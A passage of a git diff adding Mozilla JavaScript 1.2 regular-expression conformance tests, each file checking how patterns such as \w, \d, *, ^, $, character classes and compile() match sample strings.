+new TestCase ( SECTION,
+ "'" + non_alphanumeric + "'.match(new RegExp('\\W+'))",
+ String([non_alphanumeric]), String(non_alphanumeric.match(new RegExp('\\W+'))));
+
+// be sure all non-alphanumerics are not matched by \w
+new TestCase ( SECTION,
+ "'" + non_alphanumeric + "'.match(new RegExp('\\w'))",
+ null, non_alphanumeric.match(new RegExp('\\w')));
+
+// be sure all alphanumerics are not matched by \W
+new TestCase ( SECTION,
+ "'" + alphanumeric + "'.match(new RegExp('\\W'))",
+ null, alphanumeric.match(new RegExp('\\W')));
+
+var s = non_alphanumeric + alphanumeric;
+
+// be sure all alphanumerics are matched by \w
+new TestCase ( SECTION,
+ "'" + s + "'.match(new RegExp('\\w+'))",
+ String([alphanumeric]), String(s.match(new RegExp('\\w+'))));
+
+s = alphanumeric + non_alphanumeric;
+
+// be sure all non-alphanumerics are matched by \W
+new TestCase ( SECTION,
+ "'" + s + "'.match(new RegExp('\\W+'))",
+ String([non_alphanumeric]), String(s.match(new RegExp('\\W+'))));
+
+// be sure all alphanumerics are matched by \w (using literals)
+new TestCase ( SECTION,
+ "'" + s + "'.match(/\w+/)",
+ String([alphanumeric]), String(s.match(/\w+/)));
+
+s = alphanumeric + non_alphanumeric;
+
+// be sure all non-alphanumerics are matched by \W (using literals)
+new TestCase ( SECTION,
+ "'" + s + "'.match(/\W+/)",
+ String([non_alphanumeric]), String(s.match(/\W+/)));
+
+s = 'abcd*&^%$$';
+// be sure the following test behaves consistently
+new TestCase ( SECTION,
+ "'" + s + "'.match(/(\w+)...(\W+)/)",
+ String([s , 'abcd' , '%$$']), String(s.match(/(\w+)...(\W+)/)));
+
+var i;
+
+// be sure all alphanumeric characters match individually
+for (i = 0; i < alphanumeric.length; ++i)
+{
+ s = '#$' + alphanumeric[i] + '%^';
+ new TestCase ( SECTION,
+ "'" + s + "'.match(new RegExp('\\w'))",
+ String([alphanumeric[i]]), String(s.match(new RegExp('\\w'))));
+}
+// be sure all non_alphanumeric characters match individually
+for (i = 0; i < non_alphanumeric.length; ++i)
+{
+ s = 'sd' + non_alphanumeric[i] + String((i+10) * (i+10) - 2 * (i+10));
+ new TestCase ( SECTION,
+ "'" + s + "'.match(new RegExp('\\W'))",
+ String([non_alphanumeric[i]]), String(s.match(new RegExp('\\W'))));
+}
+
+test();
diff --git a/js/src/tests/js1_2/regexp/asterisk.js b/js/src/tests/js1_2/regexp/asterisk.js
new file mode 100644
index 000000000..373c9554e
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/asterisk.js
@@ -0,0 +1,73 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: asterisk.js
+ Description: 'Tests regular expressions containing *'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: *';
+
+writeHeaderToLog('Executing script: aterisk.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abcddddefg'.match(new RegExp('d*'))
+new TestCase ( SECTION, "'abcddddefg'.match(new RegExp('d*'))",
+ String([""]), String('abcddddefg'.match(new RegExp('d*'))));
+
+// 'abcddddefg'.match(new RegExp('cd*'))
+new TestCase ( SECTION, "'abcddddefg'.match(new RegExp('cd*'))",
+ String(["cdddd"]), String('abcddddefg'.match(new RegExp('cd*'))));
+
+// 'abcdefg'.match(new RegExp('cx*d'))
+new TestCase ( SECTION, "'abcdefg'.match(new RegExp('cx*d'))",
+ String(["cd"]), String('abcdefg'.match(new RegExp('cx*d'))));
+
+// 'xxxxxxx'.match(new RegExp('(x*)(x+)'))
+new TestCase ( SECTION, "'xxxxxxx'.match(new RegExp('(x*)(x+)'))",
+ String(["xxxxxxx","xxxxxx","x"]), String('xxxxxxx'.match(new RegExp('(x*)(x+)'))));
+
+// '1234567890'.match(new RegExp('(\\d*)(\\d+)'))
+new TestCase ( SECTION, "'1234567890'.match(new RegExp('(\\d*)(\\d+)'))",
+ String(["1234567890","123456789","0"]),
+ String('1234567890'.match(new RegExp('(\\d*)(\\d+)'))));
+
+// '1234567890'.match(new RegExp('(\\d*)\\d(\\d+)'))
+new TestCase ( SECTION, "'1234567890'.match(new RegExp('(\\d*)\\d(\\d+)'))",
+ String(["1234567890","12345678","0"]),
+ String('1234567890'.match(new RegExp('(\\d*)\\d(\\d+)'))));
+
+// 'xxxxxxx'.match(new RegExp('(x+)(x*)'))
+new TestCase ( SECTION, "'xxxxxxx'.match(new RegExp('(x+)(x*)'))",
+ String(["xxxxxxx","xxxxxxx",""]), String('xxxxxxx'.match(new RegExp('(x+)(x*)'))));
+
+// 'xxxxxxyyyyyy'.match(new RegExp('x*y+$'))
+new TestCase ( SECTION, "'xxxxxxyyyyyy'.match(new RegExp('x*y+$'))",
+ String(["xxxxxxyyyyyy"]), String('xxxxxxyyyyyy'.match(new RegExp('x*y+$'))));
+
+// 'abcdef'.match(/[\d]*[\s]*bc./)
+new TestCase ( SECTION, "'abcdef'.match(/[\\d]*[\\s]*bc./)",
+ String(["bcd"]), String('abcdef'.match(/[\d]*[\s]*bc./)));
+
+// 'abcdef'.match(/bc..[\d]*[\s]*/)
+new TestCase ( SECTION, "'abcdef'.match(/bc..[\\d]*[\\s]*/)",
+ String(["bcde"]), String('abcdef'.match(/bc..[\d]*[\s]*/)));
+
+// 'a1b2c3'.match(/.*/)
+new TestCase ( SECTION, "'a1b2c3'.match(/.*/)",
+ String(["a1b2c3"]), String('a1b2c3'.match(/.*/)));
+
+// 'a0.b2.c3'.match(/[xyz]*1/)
+new TestCase ( SECTION, "'a0.b2.c3'.match(/[xyz]*1/)",
+ null, 'a0.b2.c3'.match(/[xyz]*1/));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/backslash.js b/js/src/tests/js1_2/regexp/backslash.js
new file mode 100644
index 000000000..6ad35809e
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/backslash.js
@@ -0,0 +1,47 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: backslash.js
+ Description: 'Tests regular expressions containing \'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: \\';
+
+writeHeaderToLog('Executing script: backslash.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abcde'.match(new RegExp('\e'))
+new TestCase ( SECTION, "'abcde'.match(new RegExp('\e'))",
+ String(["e"]), String('abcde'.match(new RegExp('\e'))));
+
+// 'ab\\cde'.match(new RegExp('\\\\'))
+new TestCase ( SECTION, "'ab\\cde'.match(new RegExp('\\\\'))",
+ String(["\\"]), String('ab\\cde'.match(new RegExp('\\\\'))));
+
+// 'ab\\cde'.match(/\\/) (using literal)
+new TestCase ( SECTION, "'ab\\cde'.match(/\\\\/)",
+ String(["\\"]), String('ab\\cde'.match(/\\/)));
+
+// 'before ^$*+?.()|{}[] after'.match(new RegExp('\^\$\*\+\?\.\(\)\|\{\}\[\]'))
+new TestCase ( SECTION,
+ "'before ^$*+?.()|{}[] after'.match(new RegExp('\\^\\$\\*\\+\\?\\.\\(\\)\\|\\{\\}\\[\\]'))",
+ String(["^$*+?.()|{}[]"]),
+ String('before ^$*+?.()|{}[] after'.match(new RegExp('\\^\\$\\*\\+\\?\\.\\(\\)\\|\\{\\}\\[\\]'))));
+
+// 'before ^$*+?.()|{}[] after'.match(/\^\$\*\+\?\.\(\)\|\{\}\[\]/) (using literal)
+new TestCase ( SECTION,
+ "'before ^$*+?.()|{}[] after'.match(/\\^\\$\\*\\+\\?\\.\\(\\)\\|\\{\\}\\[\\]/)",
+ String(["^$*+?.()|{}[]"]),
+ String('before ^$*+?.()|{}[] after'.match(/\^\$\*\+\?\.\(\)\|\{\}\[\]/)));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/backspace.js b/js/src/tests/js1_2/regexp/backspace.js
new file mode 100644
index 000000000..3e7a0003a
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/backspace.js
@@ -0,0 +1,47 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: backspace.js
+ Description: 'Tests regular expressions containing [\b]'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: [\b]';
+
+writeHeaderToLog('Executing script: backspace.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abc\bdef'.match(new RegExp('.[\b].'))
+new TestCase ( SECTION, "'abc\bdef'.match(new RegExp('.[\\b].'))",
+ String(["c\bd"]), String('abc\bdef'.match(new RegExp('.[\\b].'))));
+
+// 'abc\\bdef'.match(new RegExp('.[\b].'))
+new TestCase ( SECTION, "'abc\\bdef'.match(new RegExp('.[\\b].'))",
+ null, 'abc\\bdef'.match(new RegExp('.[\\b].')));
+
+// 'abc\b\b\bdef'.match(new RegExp('c[\b]{3}d'))
+new TestCase ( SECTION, "'abc\b\b\bdef'.match(new RegExp('c[\\b]{3}d'))",
+ String(["c\b\b\bd"]), String('abc\b\b\bdef'.match(new RegExp('c[\\b]{3}d'))));
+
+// 'abc\bdef'.match(new RegExp('[^\\[\b\\]]+'))
+new TestCase ( SECTION, "'abc\bdef'.match(new RegExp('[^\\[\\b\\]]+'))",
+ String(["abc"]), String('abc\bdef'.match(new RegExp('[^\\[\\b\\]]+'))));
+
+// 'abcdef'.match(new RegExp('[^\\[\b\\]]+'))
+new TestCase ( SECTION, "'abcdef'.match(new RegExp('[^\\[\\b\\]]+'))",
+ String(["abcdef"]), String('abcdef'.match(new RegExp('[^\\[\\b\\]]+'))));
+
+// 'abcdef'.match(/[^\[\b\]]+/)
+new TestCase ( SECTION, "'abcdef'.match(/[^\\[\\b\\]]+/)",
+ String(["abcdef"]), String('abcdef'.match(/[^\[\b\]]+/)));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/beginLine.js b/js/src/tests/js1_2/regexp/beginLine.js
new file mode 100644
index 000000000..464f12e8b
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/beginLine.js
@@ -0,0 +1,44 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: beginLine.js
+ Description: 'Tests regular expressions containing ^'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: ^';
+
+writeHeaderToLog('Executing script: beginLine.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'abcde'.match(new RegExp('^ab'))
+new TestCase ( SECTION, "'abcde'.match(new RegExp('^ab'))",
+ String(["ab"]), String('abcde'.match(new RegExp('^ab'))));
+
+// 'ab\ncde'.match(new RegExp('^..^e'))
+new TestCase ( SECTION, "'ab\ncde'.match(new RegExp('^..^e'))",
+ null, 'ab\ncde'.match(new RegExp('^..^e')));
+
+// 'yyyyy'.match(new RegExp('^xxx'))
+new TestCase ( SECTION, "'yyyyy'.match(new RegExp('^xxx'))",
+ null, 'yyyyy'.match(new RegExp('^xxx')));
+
+// '^^^x'.match(new RegExp('^\\^+'))
+new TestCase ( SECTION, "'^^^x'.match(new RegExp('^\\^+'))",
+ String(['^^^']), String('^^^x'.match(new RegExp('^\\^+'))));
+
+// '^^^x'.match(/^\^+/)
+new TestCase ( SECTION, "'^^^x'.match(/^\\^+/)",
+ String(['^^^']), String('^^^x'.match(/^\^+/)));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/browser.js b/js/src/tests/js1_2/regexp/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/browser.js
diff --git a/js/src/tests/js1_2/regexp/character_class.js b/js/src/tests/js1_2/regexp/character_class.js
new file mode 100644
index 000000000..800de9a09
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/character_class.js
@@ -0,0 +1,76 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: character_class.js
+ Description: 'Tests regular expressions containing []'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: []';
+
+writeHeaderToLog('Executing script: character_class.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'abcde'.match(new RegExp('ab[ercst]de'))
+new TestCase ( SECTION, "'abcde'.match(new RegExp('ab[ercst]de'))",
+ String(["abcde"]), String('abcde'.match(new RegExp('ab[ercst]de'))));
+
+// 'abcde'.match(new RegExp('ab[erst]de'))
+new TestCase ( SECTION, "'abcde'.match(new RegExp('ab[erst]de'))",
+ null, 'abcde'.match(new RegExp('ab[erst]de')));
+
+// 'abcdefghijkl'.match(new RegExp('[d-h]+'))
+new TestCase ( SECTION, "'abcdefghijkl'.match(new RegExp('[d-h]+'))",
+ String(["defgh"]), String('abcdefghijkl'.match(new RegExp('[d-h]+'))));
+
+// 'abc6defghijkl'.match(new RegExp('[1234567].{2}'))
+new TestCase ( SECTION, "'abc6defghijkl'.match(new RegExp('[1234567].{2}'))",
+ String(["6de"]), String('abc6defghijkl'.match(new RegExp('[1234567].{2}'))));
+
+// '\n\n\abc324234\n'.match(new RegExp('[a-c\d]+'))
+new TestCase ( SECTION, "'\n\n\abc324234\n'.match(new RegExp('[a-c\\d]+'))",
+ String(["abc324234"]), String('\n\n\abc324234\n'.match(new RegExp('[a-c\\d]+'))));
+
+// 'abc'.match(new RegExp('ab[.]?c'))
+new TestCase ( SECTION, "'abc'.match(new RegExp('ab[.]?c'))",
+ String(["abc"]), String('abc'.match(new RegExp('ab[.]?c'))));
+
+// 'abc'.match(new RegExp('a[b]c'))
+new TestCase ( SECTION, "'abc'.match(new RegExp('a[b]c'))",
+ String(["abc"]), String('abc'.match(new RegExp('a[b]c'))));
+
+// 'a1b b2c c3d def f4g'.match(new RegExp('[a-z][^1-9][a-z]'))
+new TestCase ( SECTION, "'a1b b2c c3d def f4g'.match(new RegExp('[a-z][^1-9][a-z]'))",
+ String(["def"]), String('a1b b2c c3d def f4g'.match(new RegExp('[a-z][^1-9][a-z]'))));
+
+// '123*&$abc'.match(new RegExp('[*&$]{3}'))
+new TestCase ( SECTION, "'123*&$abc'.match(new RegExp('[*&$]{3}'))",
+ String(["*&$"]), String('123*&$abc'.match(new RegExp('[*&$]{3}'))));
+
+// 'abc'.match(new RegExp('a[^1-9]c'))
+new TestCase ( SECTION, "'abc'.match(new RegExp('a[^1-9]c'))",
+ String(["abc"]), String('abc'.match(new RegExp('a[^1-9]c'))));
+
+// 'abc'.match(new RegExp('a[^b]c'))
+new TestCase ( SECTION, "'abc'.match(new RegExp('a[^b]c'))",
+ null, 'abc'.match(new RegExp('a[^b]c')));
+
+// 'abc#$%def%&*@ghi)(*&'.match(new RegExp('[^a-z]{4}'))
+new TestCase ( SECTION, "'abc#$%def%&*@ghi)(*&'.match(new RegExp('[^a-z]{4}'))",
+ String(["%&*@"]), String('abc#$%def%&*@ghi)(*&'.match(new RegExp('[^a-z]{4}'))));
+
+// 'abc#$%def%&*@ghi)(*&'.match(/[^a-z]{4}/)
+new TestCase ( SECTION, "'abc#$%def%&*@ghi)(*&'.match(/[^a-z]{4}/)",
+ String(["%&*@"]), String('abc#$%def%&*@ghi)(*&'.match(/[^a-z]{4}/)));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/compile.js b/js/src/tests/js1_2/regexp/compile.js
new file mode 100644
index 000000000..c1d4acc81
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/compile.js
@@ -0,0 +1,62 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: compile.js
+ Description: 'Tests regular expressions method compile'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: compile';
+
+writeHeaderToLog('Executing script: compile.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var regularExpression = new RegExp();
+
+regularExpression.compile("[0-9]{3}x[0-9]{4}","i");
+
+new TestCase ( SECTION,
+ "(compile '[0-9]{3}x[0-9]{4}','i')",
+ String(["456X7890"]), String('234X456X7890'.match(regularExpression)));
+
+new TestCase ( SECTION,
+ "source of (compile '[0-9]{3}x[0-9]{4}','i')",
+ "[0-9]{3}x[0-9]{4}", regularExpression.source);
+
+new TestCase ( SECTION,
+ "global of (compile '[0-9]{3}x[0-9]{4}','i')",
+ false, regularExpression.global);
+
+new TestCase ( SECTION,
+ "ignoreCase of (compile '[0-9]{3}x[0-9]{4}','i')",
+ true, regularExpression.ignoreCase);
+
+regularExpression.compile("[0-9]{3}X[0-9]{3}","g");
+
+new TestCase ( SECTION,
+ "(compile '[0-9]{3}X[0-9]{3}','g')",
+ String(["234X456"]), String('234X456X7890'.match(regularExpression)));
+
+new TestCase ( SECTION,
+ "source of (compile '[0-9]{3}X[0-9]{3}','g')",
+ "[0-9]{3}X[0-9]{3}", regularExpression.source);
+
+new TestCase ( SECTION,
+ "global of (compile '[0-9]{3}X[0-9]{3}','g')",
+ true, regularExpression.global);
+
+new TestCase ( SECTION,
+ "ignoreCase of (compile '[0-9]{3}X[0-9]{3}','g')",
+ false, regularExpression.ignoreCase);
+
+
+test();
diff --git a/js/src/tests/js1_2/regexp/control_characters.js b/js/src/tests/js1_2/regexp/control_characters.js
new file mode 100644
index 000000000..82857e6f7
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/control_characters.js
@@ -0,0 +1,40 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: control_characters.js
+ Description: 'Tests regular expressions containing .'
+
+ Author: Nick Lerissa
+ Date: April 8, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+var TITLE = 'RegExp: .';
+var BUGNUMBER="123802";
+
+startTest();
+writeHeaderToLog('Executing script: control_characters.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'àOÐ ê:i¢Ø'.match(new RegExp('.+'))
+new TestCase ( SECTION, "'àOÐ ê:i¢Ø'.match(new RegExp('.+'))",
+ String(['àOÐ ê:i¢Ø']), String('àOÐ ê:i¢Ø'.match(new RegExp('.+'))));
+
+// string1.match(new RegExp(string1))
+var string1 = 'àOÐ ê:i¢Ø';
+new TestCase ( SECTION, "string1 = " + string1 + " string1.match(string1)",
+ String([string1]), String(string1.match(string1)));
+
+string1 = "";
+for (var i = 0; i < 32; i++)
+ string1 += String.fromCharCode(i);
+new TestCase ( SECTION, "string1 = " + string1 + " string1.match(string1)",
+ String([string1]), String(string1.match(string1)));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/digit.js b/js/src/tests/js1_2/regexp/digit.js
new file mode 100644
index 000000000..ce3c6554d
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/digit.js
@@ -0,0 +1,86 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: digit.js
+ Description: 'Tests regular expressions containing \d'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: \\d';
+
+writeHeaderToLog('Executing script: digit.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var non_digits = "_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\f\n\r\t\v~`!@#$%^&*()-+={[}]|\\:;'<,>./? " + '"';
+
+var digits = "1234567890";
+
+// be sure all digits are matched by \d
+new TestCase ( SECTION,
+ "'" + digits + "'.match(new RegExp('\\d+'))",
+ String([digits]), String(digits.match(new RegExp('\\d+'))));
+
+// be sure all non-digits are matched by \D
+new TestCase ( SECTION,
+ "'" + non_digits + "'.match(new RegExp('\\D+'))",
+ String([non_digits]), String(non_digits.match(new RegExp('\\D+'))));
+
+// be sure all non-digits are not matched by \d
+new TestCase ( SECTION,
+ "'" + non_digits + "'.match(new RegExp('\\d'))",
+ null, non_digits.match(new RegExp('\\d')));
+
+// be sure all digits are not matched by \D
+new TestCase ( SECTION,
+ "'" + digits + "'.match(new RegExp('\\D'))",
+ null, digits.match(new RegExp('\\D')));
+
+var s = non_digits + digits;
+
+// be sure all digits are matched by \d
+new TestCase ( SECTION,
+ "'" + s + "'.match(new RegExp('\\d+'))",
+ String([digits]), String(s.match(new RegExp('\\d+'))));
+
+var s = digits + non_digits;
+
+// be sure all non-digits are matched by \D
+new TestCase ( SECTION,
+ "'" + s + "'.match(new RegExp('\\D+'))",
+ String([non_digits]), String(s.match(new RegExp('\\D+'))));
+
+var i;
+
+// be sure all digits match individually
+for (i = 0; i < digits.length; ++i)
+{
+ s = 'ab' + digits[i] + 'cd';
+ new TestCase ( SECTION,
+ "'" + s + "'.match(new RegExp('\\d'))",
+ String([digits[i]]), String(s.match(new RegExp('\\d'))));
+ new TestCase ( SECTION,
+ "'" + s + "'.match(/\\d/)",
+ String([digits[i]]), String(s.match(/\d/)));
+}
+// be sure all non_digits match individually
+for (i = 0; i < non_digits.length; ++i)
+{
+ s = '12' + non_digits[i] + '34';
+ new TestCase ( SECTION,
+ "'" + s + "'.match(new RegExp('\\D'))",
+ String([non_digits[i]]), String(s.match(new RegExp('\\D'))));
+ new TestCase ( SECTION,
+ "'" + s + "'.match(/\\D/)",
+ String([non_digits[i]]), String(s.match(/\D/)));
+}
+
+test();
diff --git a/js/src/tests/js1_2/regexp/dot.js b/js/src/tests/js1_2/regexp/dot.js
new file mode 100644
index 000000000..9bcb9dfc4
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/dot.js
@@ -0,0 +1,64 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: dot.js
+ Description: 'Tests regular expressions containing .'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: .';
+
+writeHeaderToLog('Executing script: dot.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'abcde'.match(new RegExp('ab.de'))
+new TestCase ( SECTION, "'abcde'.match(new RegExp('ab.de'))",
+ String(["abcde"]), String('abcde'.match(new RegExp('ab.de'))));
+
+// 'line 1\nline 2'.match(new RegExp('.+'))
+new TestCase ( SECTION, "'line 1\nline 2'.match(new RegExp('.+'))",
+ String(["line 1"]), String('line 1\nline 2'.match(new RegExp('.+'))));
+
+// 'this is a test'.match(new RegExp('.*a.*'))
+new TestCase ( SECTION, "'this is a test'.match(new RegExp('.*a.*'))",
+ String(["this is a test"]), String('this is a test'.match(new RegExp('.*a.*'))));
+
+// 'this is a *&^%$# test'.match(new RegExp('.+'))
+new TestCase ( SECTION, "'this is a *&^%$# test'.match(new RegExp('.+'))",
+ String(["this is a *&^%$# test"]), String('this is a *&^%$# test'.match(new RegExp('.+'))));
+
+// '....'.match(new RegExp('.+'))
+new TestCase ( SECTION, "'....'.match(new RegExp('.+'))",
+ String(["...."]), String('....'.match(new RegExp('.+'))));
+
+// 'abcdefghijklmnopqrstuvwxyz'.match(new RegExp('.+'))
+new TestCase ( SECTION, "'abcdefghijklmnopqrstuvwxyz'.match(new RegExp('.+'))",
+ String(["abcdefghijklmnopqrstuvwxyz"]), String('abcdefghijklmnopqrstuvwxyz'.match(new RegExp('.+'))));
+
+// 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'.match(new RegExp('.+'))
+new TestCase ( SECTION, "'ABCDEFGHIJKLMNOPQRSTUVWXYZ'.match(new RegExp('.+'))",
+ String(["ABCDEFGHIJKLMNOPQRSTUVWXYZ"]), String('ABCDEFGHIJKLMNOPQRSTUVWXYZ'.match(new RegExp('.+'))));
+
+// '`1234567890-=~!@#$%^&*()_+'.match(new RegExp('.+'))
+new TestCase ( SECTION, "'`1234567890-=~!@#$%^&*()_+'.match(new RegExp('.+'))",
+ String(["`1234567890-=~!@#$%^&*()_+"]), String('`1234567890-=~!@#$%^&*()_+'.match(new RegExp('.+'))));
+
+// '|\\[{]};:"\',<>.?/'.match(new RegExp('.+'))
+new TestCase ( SECTION, "'|\\[{]};:\"\',<>.?/'.match(new RegExp('.+'))",
+ String(["|\\[{]};:\"\',<>.?/"]), String('|\\[{]};:\"\',<>.?/'.match(new RegExp('.+'))));
+
+// '|\\[{]};:"\',<>.?/'.match(/.+/)
+new TestCase ( SECTION, "'|\\[{]};:\"\',<>.?/'.match(/.+/)",
+ String(["|\\[{]};:\"\',<>.?/"]), String('|\\[{]};:\"\',<>.?/'.match(/.+/)));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/endLine.js b/js/src/tests/js1_2/regexp/endLine.js
new file mode 100644
index 000000000..2edbccccb
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/endLine.js
@@ -0,0 +1,44 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: endLine.js
+ Description: 'Tests regular expressions containing $'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: $';
+
+writeHeaderToLog('Executing script: endLine.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'abcde'.match(new RegExp('de$'))
+new TestCase ( SECTION, "'abcde'.match(new RegExp('de$'))",
+ String(["de"]), String('abcde'.match(new RegExp('de$'))));
+
+// 'ab\ncde'.match(new RegExp('..$e$'))
+new TestCase ( SECTION, "'ab\ncde'.match(new RegExp('..$e$'))",
+ null, 'ab\ncde'.match(new RegExp('..$e$')));
+
+// 'yyyyy'.match(new RegExp('xxx$'))
+new TestCase ( SECTION, "'yyyyy'.match(new RegExp('xxx$'))",
+ null, 'yyyyy'.match(new RegExp('xxx$')));
+
+// 'a$$$'.match(new RegExp('\\$+$'))
+new TestCase ( SECTION, "'a$$$'.match(new RegExp('\\$+$'))",
+ String(['$$$']), String('a$$$'.match(new RegExp('\\$+$'))));
+
+// 'a$$$'.match(/\$+$/)
+new TestCase ( SECTION, "'a$$$'.match(/\\$+$/)",
+ String(['$$$']), String('a$$$'.match(/\$+$/)));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/everything.js b/js/src/tests/js1_2/regexp/everything.js
new file mode 100644
index 000000000..c1947a390
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/everything.js
@@ -0,0 +1,49 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: everything.js
+ Description: 'Tests regular expressions'
+
+ Author: Nick Lerissa
+ Date: March 24, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp';
+
+writeHeaderToLog('Executing script: everything.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'Sally and Fred are sure to come.'.match(/^[a-z\s]*/i)
